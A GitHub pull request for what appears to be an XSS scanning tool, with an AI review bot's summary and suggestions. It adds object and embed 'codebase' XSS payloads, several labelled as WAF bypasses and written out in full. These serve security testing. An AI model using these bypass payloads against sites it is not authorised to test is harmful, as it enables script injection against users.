Add new object and embed codebase XSS payloads for bypasses #772
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Summary of Changes
Hello @hahwul, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!
This pull request enhances the tool's XSS testing capabilities by expanding its payload database. It introduces new techniques that utilize the codebase attribute in HTML <object> and <embed> elements, aiming to improve the detection of Cross-Site Scripting vulnerabilities, particularly those designed to bypass Web Application Firewalls.
Highlights
- XSS Payloads: Added new XSS payloads leveraging the
codebaseattribute within<object>and<embed>HTML tags to both the WAF bypass and common payload lists. These additions aim to improve the detection of XSS vulnerabilities that utilize these specific HTML attributes for execution.
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Code Review
This pull request adds new XSS payloads for <object> and <embed> tags using the codebase attribute to bypass WAFs. The changes are good, but I have a few suggestions to improve the correctness and consistency of the new payloads. Specifically, I'm suggesting adding missing closing tags and ensuring javascript: URIs are properly terminated.
| "<object data=javascript:alert(1)></object>", | ||
| "<object/data=javascript:alert(1)></object>", | ||
| "<object data=data:text/html,<script>alert(1)</script>></object>", | ||
| "<object data=# codebase=javascript:alert(1)//>", |
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The <object> tag is not a void element and should have a closing tag </object>. While some browsers might execute this payload without it, it's best practice to include it for correctness and for consistency with other <object> payloads in this list.
| "<object data=# codebase=javascript:alert(1)//>", | |
| "<object data=# codebase=javascript:alert(1)//></object>", |
| "<embed src=javascript:alert(1)></embed>", | ||
| "<embed/src=javascript:alert(1)></embed>", | ||
| "<embed src=data:text/html,<script>alert(1)</script>></embed>", | ||
| "<embed src=# codebase=javascript:alert(1)//>", |
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For consistency with other <embed> payloads in this function, consider adding a closing </embed> tag. Although <embed> is a void element in HTML5, other payloads for this tag in the list include a closing tag.
| "<embed src=# codebase=javascript:alert(1)//>", | |
| "<embed src=# codebase=javascript:alert(1)//></embed>", |
| "><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", | ||
| "'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", |
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For robustness, it's good practice to terminate javascript: URIs with // to comment out any subsequent characters that might be appended by the browser or application logic. This would also make it consistent with other similar codebase payloads in this file (e.g., lines 609-610) which include the comment slashes.
| "><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", | |
| "'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></object>", | |
| "><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></object>", | |
| "'><object data=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></object>", |
| "><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", | ||
| "'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", |
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For robustness, it's good practice to terminate javascript: URIs with // to comment out any subsequent characters that might be appended by the browser or application logic. This would also make it consistent with other similar codebase payloads in this file (e.g., lines 611-612) which include the comment slashes.
| "><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", | |
| "'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)></embed>", | |
| "><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></embed>", | |
| "'><embed src=# codebase=javascript:alert(DALFOX_ALERT_VALUE)//></embed>", |
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